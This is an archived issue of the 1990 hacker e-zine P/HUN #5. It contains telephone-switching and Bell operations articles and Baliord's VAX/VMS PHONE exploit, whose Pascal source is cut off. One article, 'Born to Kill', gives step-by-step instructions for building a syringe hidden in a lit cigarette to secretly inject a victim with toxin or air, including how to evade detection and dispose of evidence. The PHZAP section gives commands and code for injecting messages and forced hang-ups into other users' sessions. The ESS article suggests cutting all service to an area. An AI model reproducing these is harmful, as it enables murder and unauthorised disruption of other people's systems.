💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › PHUN › phun5.txt captured on 2022-06-12 at 14:00:35.
-=-=-=-=-=-=-
()---------------------------------------------------------------------------()
P/HUN Issue #5 Articles [14]
Released 5/07/90 Comments: PHUN #5
P/HUN MAGAZINE Issue #5
-----------------------
P/HUN Magazine Inc., Productions
--------------------------------
Phile #1 of P/HUN Magazine Issue #5
------------------------------------
Hello and welcome to Issue #5. As you may have noticed our BBS went down a
couple of months ago. Since we no longer have a BBS, P/HUN Issues can
regularly be found on these boards:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
The Uncensored BBS - (914)761/6877
Demon Roach Underground - (806)794/4362
CLLI Code BBS - [leave mail at clli@m-net.ann-arbor.mi.us for access]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>>>ANNOUNCEMENT<<<
The CLLI Code BBS (above) is highly recommended by us. It deals with all
aspects of telecommunications and computer security. We suggest our readership
contact them for access.
>>>ANNOUNCEMENT<<<
The first issue of Cybertek Magazine(hardcopy) was just published some weeks
ago. We reviewed it, and thought it was fantastic. We rate it as a magazine
with exceptional qualities and obviously with high potentials. The new magazine
covers various aspects of telephony, radio, chemistry, security and survival.
We would like to point out that this is not solely a 'hacking magazine' however
various aspects are covered.
Cost $1.80 per Issue // Subcriptions are $10 per year
Send to:
--------
Cybertek Magazine
P.O BOX 64
Brewster, NY 10509
Mr. Icom (editor) can be contacted at the bulletin boards listed above.
o--------------------------------------------------o
We would like to thank the members of SSWC (The Technician, Cellular Phanton
and Chance ) for contributing their first class research reports to this issue.
Their reports are truly educational and innovative as you will see.
A special thanks goes to Bandito, Baliord, Jack the Ripper, Lord Micro, Seeker
and The Ring Master.
If you wish to contribute articles to P/HUN you can contact us at the boards
listed above or on our Usenet address.
Enjoy!
Red Knight
P/HUN Magazine Inc.
Usenet Address: phunmag@dasys1.UUCP
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Phile Description Size Author or Group
- ------------------------------------------------ ---- ---------------
1 Introduction 1k Red Knight
2 Peering the soul of ESS - Master Control Center 11k Jack the Ripper
3 Born to Kill - The Art of Assasination 5k Jack the Ripper
4 SSWC Bell Research Report Volume #1 7k SSWC
5 SSWC Bell Research Report Volume #2 12k SSWC
6 Baliord VMS Tricks Volume I: PHONE 15k Baliord
7 Baliord VMS Tricks Volume II: DOOR 12k Baliord
8 (O)perator (S)ervices (P)osition (S)ystem - 5ESS 23k Bandito
9 The Crossbar Switching Guide [Xbar No. 5] Part I 8k Xbar Switchman
10 SSWC Bell Research Report Volume #3 10k SSWC
11 Carrier 900/700 Services 5k Tone Tec
12 Legion of Doom Indictments [Chicago Members] 18k TELECOM Digest
13 Card Reader Access System (Card Key) 2k The Ring Master
14 S.S.T.C. LMOS Guide Lines 2k Thrasher 005
1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[OTHER WORLD BBS]
____________________________________________________________________________
| |
| "Peering into the Soul of ESS - The Master Control Center" |
| |
| Written By - Jack The Ripper |
| |
| Organized Crime (OC) |
| Phile #2 of P/HUN Magazine Issue #5 |
|____________________________________________________________________________|
The Master Control Center is undoubtably the very essence of ESS. The
Master Control Center (MCC) is the operational, maintenance, and administrative
core of the electronic switching central office. This unit is what the ESS
operators use to control the ESS switch. It test's customer lines and trunks,
alarms to indicate malfunctions, perfroms system testing functions, controls
operations, contains the magnetic tapes for recording Automatic Message
Accounting (AMA) data, and contains various other specialized equipment.
Primary Components of the MCC
-----------------------------
Master Control Console
Trunk and Line Test Facilities
Teletype (Teletypewriter) Channels
AMA Recorders
DATASPEED -40 Terminal with Display and Printer
[---------------------------------------------------------------------------]
[ Diagram of Processor Display Panel of Master Control Console in No.1A ESS ]
[---------------------------------------------------------------------------]
_______________________________________________________________________________
| Processor Display | PS Bus | Pu Bus | CS Bus | AU Bus |
| | Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re|
-------------------------------------------------------------------------------
|_____________________________________________________________________________|
||CC0 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|
||----------------------------------------------------------------------------|
|| ltllh |====================================================================|
||-------|--------------------------------------------------------------------|
|| ltllh |====================================================================|
||____________________________________________________________________________|
||CC1 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|
||----------------------------------------------------------------------------|
|| || || || || |
|| -------------------------------------------------------- |
|| |meno|kc || ||meno|kc || || |
|| |------------||___________||------------||___________||------------|
|| |02| |36|ntce|| 0! 0! 1| 1||02| |05|ntce|| 0| 0| 1| 1||fs|df|ft|df2|
|| -------------------------------------------------------------------|
|| | || || || |
|| | seno || || seno || |
|| | ---- ----|| || ---- ----|| |
|| |ps|0|2| |ii || || |rec| |
|| ----- ||------------ -----||-----------||--------------- ----- |
|| ----- ||------------ || || |
|| |fs0| ||vr|a1|p2|c1| ||___________|| |
|| ----- ||------------ || || |
|| ----- || Activate|| ||Activate |
|| |fs1| || ---- ---- || ----- ||------ ------------------|
|| ----- || |x1| |x2| || |inv| ||q1|q2| |w1|w2|w3|w4|w5|w6|
|| || ---- ---- || ----- ||------ ------------------|
|| || || || |
||_________||__________________||___________||________________________________|
Key
---
w6 = Prssr Comfg
w5 = Prgm Store
w4 = Call Store
w3 = Basic Prssr
w2 = Reptd Pc
w1 = Pc Atmpt
x2 = Ovrd Efct
x1 = Vrbl PS1
q2 = Dsble Auto
q1 = PC
fs1 = FS 163
c1 = CC1
p2 = PS Bus 1
a1 = AU Bus 1
vr = Vrbl PS 0
fs0 = FS 062
rec = Reset Cntr
p1 = Pmp 16
p3 = Pmp 32
err = Error
ena = Enable Data
rea = ready
no = No Ovrd
cc = CC D
ps = PS Bus 0
au = Au Bus 0
bl = Blk 0 Ps 0
inp = In Prgs
SysR = System Reinitialization
lh = LHIJI
ii = IIOLI
seno = Select No. (Select Number)
df2 = Disk File 1
ft = FS 1 Trbl
df = Disk File 0
fs = FS 0 Trbl
meno = Member Number
kc = K-Code
|| = Separates different Status Bars ie PS Bus, Processor Display, and Au Bus
ac = Active
tr = Trble
po = Power
st = Stop
of = Offline
+++ Added note on the key is that the abbreviations on the key are exactly the
same as they appear on the panel.
As you can see the MCC panel is divided up into five main groups of
keys and lighted or LED displays; processor display, update, override control,
system reinitialization, and processor configuration sequencer. The update
group of keys and displays permits personnel to check when a program update is
in progress. The override group of switchs and displays allows personnel to
manually activate a central control unit, auxillary bus unit, and program store
buse for emergency system recovery. The system reinitialization keys and
displays allow personnel to manually reinitialize the system in conjuction with
the override control or processor configuration sequencer group of keys.
Workings of the MCC and Points of Interest
------------------------------------------
Now that you have a little background information on the MCC, and are
familiar with the MCC Console we can talk about the MCC a little more. The MCC
can be used to remove from service all outgoing trunks, customer lines, and
service circuits. This would be an interesting project next time your at your
local CO to stop all service to an area. The MCC is capable of flagging
pernament signals i.e. busy signal (black box on electromechanical or crossbar
offices) . The master testing circuit can be connected to any outgoing trunk,
service circuit, and most often any customers lines for testing purposes. Also
the MCC can be connected to any voltmeter to test any customers line, service
circuit, or outgoing trunk. The MCC also interacts with Remote Switching
Systems to perform various testing functions to detect bad circuits and
potential future problems i.e. a decaying circuit or two.
AMA in the MCC
--------------
The Automatic Message Accounting recorder is located on the MCC and
stores "customer billing information <right>" on magnetic tapes. One 2,400 ft
reel of tape stores the billing data for 100,000 calls a day. These tapes
however are backed up by duplicates to ensure against failure or billing error
although it does happen, and the two copies are sent to a DPC (Data Processing
Center) for analysis in computing customer bills The data that is to be
stored is selected by the call processing program, which deceides whether or
not the information for a call is to be stored. Then the data is temporarily
stored in the AMA register (full capacity of the AMA register is 230 bits each)
call store, and after completion of the call the related data is assembled in
the BCD (Binary Coded Decimal (see Binary Number System for Decimal Digits
Diagram)) format and placed in the AMA buffer call store.
Binary Number System for Decimal Digits
---------------------------------------
Decimal Four Digit Binary Code
Number A B C D
<8> <4> <2> <1>
-----------------------------------------
0 0 0 0 0
1 0 0 0 1
2 0 0 1 0
3 0 0 1 1
4 0 1 0 0
5 0 1 0 0
6 0 1 1 0
7 0 1 1 1
8 1 0 0 0
9 1 0 0 1
10 1 0 1 0
11 1 0 1 1
12 1 1 0 0
13 1 1 0 1
14 1 1 1 0
15 1 1 1 1
The recording procedure is then started by an AMA program in program
store when the AMA buffer in call store is fully loaded. The AMA buffer has a
full capacity of 140 words of 23 bits each. The AMA program will cause central
control to direct that the data be transferred one word at a time to the AMA
circuit for recording on the tape.
Suggested Reading
-----------------
Basic Carrier Telephony, Third Edition by David Talley
Basic Telephone Switching Systems, Second Edition by David Talley
Anything Else by David Talley he wrote a few more. He is one of the best
telecommunications authors, and all of this information was born into me
through him. His books are also written with quesitons in the back which helps
you to learn the information. Next time some moron throws an infoform at you
asking what ESS is you can quite simply say something rude like, "Are you
talking about the program interruptions in a No.1A ESS office which occur every
1.4 microseconds due to the system clock providing of course that it is running
off of a 1A processor and hasn't been modified in any way, and is running stock
software?" That outta get em eh?
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[OTHER WORLD BBS]
_____________________________________________________________________________
| |
| Born to Kill - The Art of Assassination |
| |
| Part I |
| |
| Written by - Jack The Ripper (OC) |
| |
| London at Midnight- 713-523-3733 |
| Phile #3 of P/HUN Magazine Issue #5 |
|____________________________________________________________________________|
This is a series solely written from pure genius. You will not find
the methods outlined here in any book or any other publication. They are for
informational purposes only, and are not to be used. The method I will outline
here will consist of two parts. The first part is the construction of a lethal
injection device. The second part will discuss how to turn this device into a
totally harmless looking device that kills quickly, silently, and effectively.
Construction of a Lethal Injection Device
------------------------------------------
Materials Needed
----------------
Deadly Toxin i.e. air, cyanide, etc... (no specifics are outlined)
Larger syringe if superimpostition is needed.
5 cc or less size syringe with a 3/4 inch needle if unavailable superimpose.
a syringe that's body fits loosely in an emptied cigarette.
Superglue if superimposition is needed.
Cigarette Pack 100's preferably
Preparing the Syringe
---------------------
1) Totally disassemble the syring you will be working with the two parts.
mainly
2) Skip if needle is 3/4's of an inch. Break the needle off of the larger
syringe. Now place glue around the base of the smaller syringes needle not
much just a dab or two. Place the larger needle over the smaller needle
so that it extends it out to the full 3/4's of an inch.
3) cut the length of the syringe (the body only! not including the needle)
down to 1 and 1/2 of an inch with a hacksaw so as to make a clean cut.
4) Now take the push stick or the handle of the syringe and cut off the tip
of it, and cut the body down so that it is 1 and 1/2 inch's long.
5) What you should have now is a push stick that is 1 and 1/2 inchs long and
fits just inside the syringe which is 1 and 1/2 inchs long, and a needle
that is 3/4's of an inch long. The whole contraption should be 3 and
3/4's of an inch enough to fit in a 100 cigarette easily.
Preparing the cigarette
-----------------------
1) Remove the filter from the cigarette by twisting it off, and then throw the
long part of the cigarette away. The paper should extend about 1/4 of an
inch from the filter, and try not to rip it. The paper normally extends
a little bit naturally.
2) Take your tweesers and pick out the filter from the inside of the cigarette
leaving a little bit about 1/4 inch of the filter to cover the end of the
cigarette.
3) Now take another cigarette and tear off the long part, and empty out the
tobacco saving it for later.
4) Now you should have an empty hollow cigarette shell. A bored out filter
with 1/4 of an inch of the ending left on.
5) Now glue the long hollow part of the cigarette back to the filter and let
it dry.
Arming the Contraption
----------------------
1) Now place the toxin into the body of the syringe with the needle on it of
course.
2) Place the pushstick over it extended.
3) Place the setup into the cigarette with the back of the push stick touching
the filter.
4) Fill the remaining space of the cigarette with the leftover tobacco.
How to Use
----------
1) Light the cigarette since the needle end will be filled with a good portion
roughly 1 minute 15 seconds of burning tobacco.
2) Walk by the victim and burn him/inject him by pushing down on the filter of
the armed cigarette.
3) The victim will think it was just a cigarette burn call you an idiot and
walk away.
Notes
-----
1) You might have to experiment with the lengths to get it just right.
2) Only use 1 cc or less of toxin or the victim might notice that something
funny is going on before he dies.
3) Test it before you use it. Cigarettes are a dime a dozen.
4) Never throw it away near the site.
5) Destroy it after it's use since plastic melts this is easy then throw it
in a gutter or a junkyard.
6) Be careful not to scrape yourself.
7) The burn will take care of the pain, so he/she shouldn't notice a thing.
8) There will most likely be an inquest especially when normal people just drop
dead and die.
9) Try to use slow acting 15-30 minute toxins that are lethal in small doses.
Toxins for Use
--------------
1) The Simplest toxin to use is air. An air bubble in the brain causes death
and there is no way in hell a coroner can detect foul play unless he is
looking for it. Not to mention there will be a burn blister over the
injection hole, so it will not be noticed.
2) Be creative think of something.
Conclusion
----------
In conclusion I would like to add that there are many toxins for you
use. There are hundreds of other viable options out there just waiting to be
discovered.
=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[OTHER WORLD BBS]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| SSWC - Bell Research Report (Vol I) |
|------------------------------------ |
| Phile #4 of P/HUN Magazine Issue #5 |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
All research gathered, tested and mastered by the original
members of SSWC:
Chance - The Technician - Cellular Phantom
This text will give you an in depth look at some unexplored
operating departments located in the Bell System. As well
as newly discovered equipment and electronic devices used
by Bell Technicians. Note that information in this file is
subject to change. However, we will try to keep you updated
as much as possible.
There are many different types of acronyms used in this text.
You will find a list these acronyms at the end of this file.
We will begin the file by discussing a mechanical/electronic
device used by the Cable Transfer Administration (CTA) known as
a Transfer Switch. This device is specifically used to verify a
working line on both the "from" cable pair and the "to" cable
pair through the backtap, and is transparent to the customer (in
other words the device is unnoticeable to the customer).
Although the Transfer Switch itself is located at the CO, CTA
is responsible for the maintenance and upkeep of the Transfer
Switch.
Next we will discuss a department of Bell known as the
Distribution Service Design Center (DSDC). The Cable Transfer
Representative (this person is a clerk for DSDC), will prepare
the Cable Transfer Schedule and assist the other representatives
in coordinating telephone line repair and completion dates.
The engineering job schedule, service requirement dates, pending
or potential held orders, age of job, etc, will determine the
priority of each scheduled completion date. It is the
responsibility of DSDC Transfer Representatives and Committees
to provide a splicing sequence and resultant fill on an
Engineering Work Order (EWO). The DSDC will determine the number
of "Plain Old Telephone Service" (POTS) circuits and special
and designed services on the EWO. They will help determine if
the rearrangements and changes incorporated in the EWO will
necessitate a design review by the Circuit Provision Center (CPC).
The DSDC will forward to the CPC old and new line makeups for
designed service. The DSDC scheduling engineer is responsible
for reviewing old and new EWOs involving cable, line, or station
rearrangements and for establishing the time needed for job completion. After reviewing old work orders, the DSDC shall
do one of the following:
1. Reschedule the cable, line, or station transfers.
2. Initiate a revision of the transfer so it will be compatible
with existing conditions.
3. Issue a cancellation of the particular transfer in question.
The Circuit Provision Center (CPC) involves cable, line, or
station transfer procedures when it is presented a notification
of a cable transfer and an indication that special services are
involved. The CPC will receive notification from the DSDC that
a circuit change will be required. The notification document
will provide the CPC with:
A. Project number and expected record issue date (RID) and
due date
B. Common language circuit identification (CLCI)
C. Old assignment and makeup
D. New assignment and makeup.
It is the responsibility for The Frame Control Center (FCC)
and affiliated representatives to contact each CO involved in a
cable transfer and will be a member of the Cable Transfer
Committee (CTC), and will attend committee meetings. The CTC
will also make frame cross-connect activity completion
commitments. Placing and removing front-tap connectors, sending
tone, and connecting automatic taggers and Central Work Group
(CWG) talk pairs shall be the responsibility of the FCC.
Upon receiving of either the Exchange Customer Cable Record
(ECCR), Computer Systems for Mainframe Operations (COSMOS)
printouts, or local forms from the Loop Assignment Center (LAC),
the Central Office Work Group (COWG) shall make a verification
and test of the transferring cable counts and resolve all
record problems with the LAC. The COWG will use the following
procedures for verification and test:
1. Verify the telephone number on all working pairs in both
the "from" and "to" counts and check for any vacant pairs not
listed.
2. Test all vacant pairs in the "to" count, using the Go/No-Go
test set or equivalent.
3. Any discrepancy found as determined in (1) or (2) shall be
posted and the forms returned to the LAC on or before the
scheduled completion date for verification and pretest as
shown on the transfer schedule.
Note: Verification and pretests are extremely important in
preventing future service interruptions, unresolved
discrepancies, and cost delays. (In other words this
is done so Bell won't loose a dime of their precious
"millions".
After placing the backtaps, the COWG must validate that the
backtaps are correct and any work or record problems found, will
be corrected by the COWG and forwarded to the LAC for updating
records. In work locations where COSMOS is fully used, the
transfer MUST be stated in COSMOS, when backtaps are placed or
removed, by using the appropriate work code found in the COSMOS
Frame Training Manual.
* Note to the reader: All Bell departments discussed in
in this text work together on a regular basis,
generally when their is a problem with a cable
transfer or with similar related equipment, the
Bell departments will interact with each other in
order to remedy the problem.
This concludes SSWCs Bell Research Report (Vol I).
The information contained in this file is solely
for the use of those that FULLY understand
what has been discussed. If you do not FULLY
understand what has been discussed in this file,
it is extremely advisable not to attempt to use any
of this information, whereas you could cause an
extreme negative impact on your knowledge as a Phone
Hack/Phreak. Have a good time, learn what you can, but
never think you know more than you do. To the
novice this file is all technical BullShit.
However to the Innovative its much, much more.
GLOSSARY OF ACRONYMS:
CLCI - Common Language Circuit Identification
COSMOS - Computer System for Mainframe Operations
COWG - Central Office Work Group
CPC - Circuit Provision Center
CMC - Construction Management Center
CTA - Cable Transfer Administration
DSDC - Distribution Service Design Center
ECCR - Exchange Customer Cable Record
EWO - Engineering Work Order
FCC - Frame Control Center
LAC - Loop Assignment Center
POTS - Plain Old Telephone Service
RID - Record Issue Date
SSC - Special Service Center
*** SSWC: Were just getting started...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[OTHER WORLD BBS]
=================================================
= SSWC - Bell Research Report (Vol II) =
= ------------------------------------ =
= Phile #5 of P/HUN Magazine Issue #5 =
=================================================
All research gathered, tested and mastered by the original
members of SSWC:
Chancll Operating Departments. Note that information in
this file is subject to change. However, we will try to keep
you updated as much as possible.
We will begin by discussing an important department of Bell,
known as the Maintenance Center (MC) or Special Service Center
(SSC). The MC is responsible for verifying and coordinating the
transfer of special service activities between the Construction
Work Group (CWG) and the Central Office Work Group (COWG). The
MC or SSC will maintain control of all special service transfers.
Note: When using an approved transfer switch, testing of
Plain Old Telephone Service (POTS) services will be
performed by the CWG. The MC meed only test services
classified as type "B". (This type of classification
is generally used on the Computer System for Mainframe
Operation (COSMOS) mainframe).
The MC will receive a copy of the cable transfer and associated
work orders from the Loop Assignment Center (LAC) prior to the
scheduled start date of the transfer. They will deal with any
unrecognized problems (such as clearing defective pairs, if
requested by the Distribution Service Design Center (DSDC), and
giving notification of what pairs have been or cannot be cleared)
that would require new pair count assignments.
The MC shall arrange with the CWG, Frame Control Center (FCC),
SSC, and other necessary departments for the transfer of special
and designed services that require release or special handling.
During the transfer of these services, the MC will maintain
communication with all personnel involved in the transfer
activity.
The MC or SSC shall coordinate the release and transfer of
special and designed services designated as "B" services. The time
and date for each service release shall be recorded on the MC copy
of the Special Service Protection List and Defective Pair List.
Note: Time and date of release must be negotiated in advance
of the cable transfer. No work shall be permitted on
service requiring a release until a method of procedure,
including release date and time and personnel required,
has been established by the MC and approved by the
customer and SSC control office responsible for those
services. When the MC receives work of those specific
or out-of-the-ordinary release requirements, the
Construction Management Center (CMC) supervisor, FCC
supervisor, and other necessary work group supervisors
must be notified in advance so they can begin work on
the transfer.
The MC shall test all affected special and designed services
completed by the CWG as the transfer progresses. The CWG need not
wait for verification by the MC, unless problems are encountered.
The CWG will inform the MC of progress. The MC shall have the
authority to stop the transfer procedures at any time if extensive
trouble reports develope. If this occurs, the MC supervisor will
lead an investigating committee to determine the cause of trouble
and to recommend corrective action.
After all work is completed, the MC will issue a final closing
number for the completed transfer. The MC will notify the FCC that
the transfer is complete and will give them the closing number.
The MC will post the Cable Transfer Form as complete and will
forward the transfer, including changes, and Defective Pair List
to the LAC.
We will now discuss the uses of the Cable Transfer Administration
(CTA), and how they operate at a successful level.
The general functions and responsibilities of the CTA work group
is to provide flexibility in the design of the cable network,
existing cable pairs are transferred for one cable count to another
cable count. This is commonly referred to as a cable transfer or
cable throw. The transfer occurs in a splice and involves
disconnecting pairs of wires beyond the splice from one feeder
cable count and reconnecting then to a different feeder count.
The result is that the count of the pairs beyond the splice will
change. The configuration, identification, and possible transferring
of working cable pairs are complex and time-consuming. The work
is further complicated by the many functions required of other
work groups. To ensure that these operations are performed free of
service interruptions and with maximum efficiency, timing and close
coordination among all the work groups involved are mandatory.
The same coordination is required to complete drop wire re-
connections (line transfers). The Cable Transfer Committee (CTC)
is also responsible for organizing this work in a timely manner.
As soon as practical, after the line transfer have been completed,
the old cable should be cut off and removed. (Their is more
hardware work involved in this process, however we regret that
we have not yet been able to fully research and understand what
further hardware applications are used).
In order for the Cable Transfer Committee to obtain a high
degree of transfer efficiency, all committee members must attend
committee meetings on a selective basis and monitor the published
minutes (in other words review information from past meetings).
Higher management will be able to evaluate the effectiveness of
the transfer committee. The number of jobs completed as scheduled
and the ability of the committee to identify problems should be
monitored as a measure of committee success in scheduling and
completing cable transfers.
The use of these procedures will reduce customer trouble reports
and the overall cost of cable and line transfers and will permit
balancing the work force and work load for all groups involved.
By completing cable transfers promptly, in accordance with the
time schedule, changes to transfer sheets will be minimized, the
need for rerunning cables will be reduced, testing cables can be
properly scheduled, and time spent on field work can be shortened.
The errors, frustrations, and probability of cable troubles
associated with delays in this kind of work can be virtually
eliminated.
A Cable Transfer Committee must be established in each network
distribution service/construction district to ensure close
coordination and proper timing of cable, line, or station transfers.
Districts that cover a large service area (having more that one
Loop Assignment Center or Maintenance Center) may require more
than one committee.
When scheduling transfers, consideration must be given to work
tours and peak load periods (busy times of the week) of all work
groups to optimize the continuity of the cable transfer activity.
Consideration must also be given to time required by the CWG
to complete preliminary work, by the LAC to analyze and lay out
the transfer, by the Circuit Provision Center (CPC) to check the
design of special services, by DSDC, Construction Management
Center (CMC), and installation to make the resulting changes, and
by the MC and/or SSC to negotiate with special service customers.
The Cable Transfer Committee must negotiate all completion dates.
The transfer committee chairperson will monitor and take action
on excessive time intervals for all work groups. Transfers that
involve an extremely large number of working circuits may require
scheduling in smaller segments. Transfers should be scheduled to
maintain continuity until wire work is completed. The committee
is responsible for all se to transaction restrictions.
Sequence transfers and the reusing of counts cleared on previous
transfers may also require more strict scheduling. Cable
transfers worked via COSMOS must be closely monitored to avoid
long-term storage of cable transfers in the data base.
Long-term storage causes changes for the FCC and CWG, thereby
causing lost time. The committee will make preliminary arrange-
ments for the transfer of special and designed services. The LAC
will provide a list of all special services, by Common Language
Circuit Identification (CLCI), that are in the affected cable
count to the DSDC prior to scheduling the transfer in the firm
period. The DSDC will forward the list to the CPC along with the
new and old cable makeup for the reissuance of new Work Order
Record Detail (WORD - The work authorization and layout card
for designed special services) documents and redesigns, if
necessary.
After the new WORD documents are received, the FCC will bring
the Work Authorization (WA - The first page of the WORD document)
to the CTA committee meetings. The WA copy will contain the work
description and associated notes for the transfer and, most
important, will give the circuit classification code "A" or "B".
Next we will discuss information concerning the Telephone
Outside Plant. This brief discussion will inform you exactly what
path cables take from the CO to the subscribers residence.
This path is as follows:
1 Main Distributing Frame (MDF)
2 Tip Cables
3 Cable Vault
4 CO Manhole
5 Main Conduit
6 Subsidiary Conduit
7 Insulated Joint
8 Main Distributing Terminal (MDT)
9 Riser Cable
10 Distributing Terminal
11 Anchor Guy
12 Aerial Cable Cross Connecting Box
13 Telephone Company Owned Pole
14 Aerial Cable
15 Strand (one cable)
16 Joint Use Pole Electric or Telephone
17 Terminal
18 Splice
19 Electric Wires
20 Urban Wires
21 Dropwire
22 Main U.G. Cable
23 Stub
24 Rear Wall Cable
25 Buried Cable
26 Cribbing
27 Block Pole
After completing this sequence the cables will then run into
the residence, providing telephone service.
* Note to the reader: In order to gain maximum knowledge
from this file, it is suggested that you obtain and
study our first file.
This concludes SSWCs Bell Research Report (Vol II).
The information contained in this file is solely for the
use of those that FULLY understand what has been
discussed. If you do not FULLY understand what has been
discussed in this file, it is extremely advisable not to
attempt to use any of this information, whereas you
could cause an extreme negative impact on the rest of the
the Hack/Phreak community. Have a good time, learn what you can,
but never think you know more than you do. To the
novice this file is all technical BullShit. However, to
the Innovative, its much, much more.
* SSWC: The leader in innovative phreaking!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[OTHER WORLD BBS]
Baliord's Stupid VMS Tricks Vol 1: PHONE
----------------------------------------
By Baliord
Phile #6 of P/HUN Magazine Issue #5
This program is the culmination of about a month's research, debugging,
and coding. Any bugs in it are my fault, but I am not liable for them since
I am not running it (or compiling it) on your system. You accept all
responsibility for the execution of this program by compiling it. This
program is meant to show what CAN be done with the VAX/VMS PHONE program,
and is a working program solely for the purpose of showing that it CAN be
done.
Sometime in 1986 or 1987, a friend of mine quit a job working with a
record company. In the process of leaving, he managed to pick up a copy
of the VAX/VMS 4.0 source code on microfiche. Since then, he has gotten
2 more editions. He unfortunately doesn't understand the code, but just
likes to have it around as proof of his "abilities." Once he acquired a
second copy of the code, I requested his earlier edition. He gave it to
me freely.
In the middle of 1988, a "user" at my local college approached me and
said that his PHONE conversations were being tapped. I laughed, and told
them that it was impossible. They persisted, and thus I foraged into the
realm of VMS PHONE discovery. Upon reading the source code for PHONE, I
discovered that it was the funniest, and most interestingly written (and
commented) program in the deck. I discovered that, 1) PHONE was designed
with a RECORD feature that would allow users to record conversations (and
inform the other party that a recording was occurring), and that 2) the
mailboxes created by the phone program were completely world accessible,
as well as being easily discovered; and that 3) for some reason DEC had
commented out ONE LINE from PHONE, making it unable to RECORD, but still
including the code to do so in the program.
The other thing that was in the PHONE source was a list of the control
codes that would force the program to do various things. Surprisingly, the
commands typed at the keyboard were treated the same as characters recieved
through the mailboxes. Needless to say, I immediately started considering
ways to access them. After a bit of debugging, hacking, and causing some
horrible errors to appear on other people's terminals, the program here was
written.
The first program is the actual PASCAL source code for the message
sender; the next program is the .CLD file you should create to use the
program; the next thing is a list of the format and the method used in
creating your own file to send. The last file is a few sample files to
be created to demonstrate the things that can be done.
An interesting point is that the CALLING user creates the mailbox
FOR the called user. This means that an answering machine program can
be written that will recieve messages, and hang up without needing the
user to watch over it. Of course the user must be logged in, but they
need not recieve phone calls to get their messages! I have written a
program to do this, and it may be published in the future.
Oh yes, the method for finding out what users are currently using
the phone system is to:
SHOW LOG PHN$*/SYS
This works because PHONE creates systemwide logical names formatted as
PHN{body}lt;username>.
The following is the method for using the PHZAP program... Lines that
begin with ';' are comments...
$ SET COMMAND PHZAP
; This enables the command...
$ SHOW LOG PHN$*
"PHN$GOD" = "_MBAxxx"
"PHN$DEVIL" = "_MBAxxx"
; As I just said, that lists out who's using the system...
$ ZAP GOD/TYPE=MSG/MESSAGE="Personally? I think you goofed off for six days"
$ ZAP GOD/TYPE=MSG/MESSAGE=" then pulled an all-nighter!~"
; Drops up the message on His screen.
$ ZAP DEVIL/TYPE=MSG/MESSAGE="\And I said, Let There Be Light! And YOU got"
$ ZAP DEVIL/TYPE=MSG/MESSAGE="hung up!"
$ ZAP DEVIL/TYPE=CMD/MESSAGE="HANGUP"
; Places the message on It's screen, then forces It to HANGUP.
$ ZAP GOD/TYPE=CMD/MESSAGE="HELP SWITCH_HOOK"
; This command teaches Him a bit about Switch Hooks, by forcing Him into
; help...
--------------------------------------------------------------------------
If you get the feeling that I'm a bit anti-religious, and that those
capital letters are smotheringly sarcastic... You're smarter than you
look!
---------------------------------------------------------------------------
PHZAP.PAS follows:
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
{*************************************************************************}
{* If you are going to use this program, please leave this message *}
{* in the file. When referring to this program, give credit where *}
{* credit is due. *}
{* -- Baliord *}
{*************************************************************************}
program Phone_Phool(output,phzap);
const
max = 132;
type
string_type = VARYING[ MAX ] OF CHAR;
word_type = [ word ]0..65535;
var
MAILBOX_NAME : STRING_TYPE;
mailbox_channel : word_type;
MsgStr,Send_File, command, mailbox_device_name : string_type;
length : integer;
phZAP: text;
[external,asynchronous] procedure cli$get_value (
entity: Packed array [$L7..$U7:integer] of char := %immed 0;
var retdesc : Varying [$R0] of char) ; external;
[ asynchronous ]
function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
%ref name_length : integer := %immed 0;
%descr equivalence : varying[ l2 ] of char;
%ref table : integer := %immed 0 ) : integer;
external;
[external,asynchronous] function cli$present(
entity: packed array [$L7..$U7:integer] of char := %immed 0):Integer;
external;
{
The following procedure checks to find out who you want hit with a message,
and opens their phone mailbox and sends the command to it.
}
Procedure Send(Command:String_Type);
Begin
Cli$get_value('USER',Mailbox_Name);
Mailbox_Name:='PHN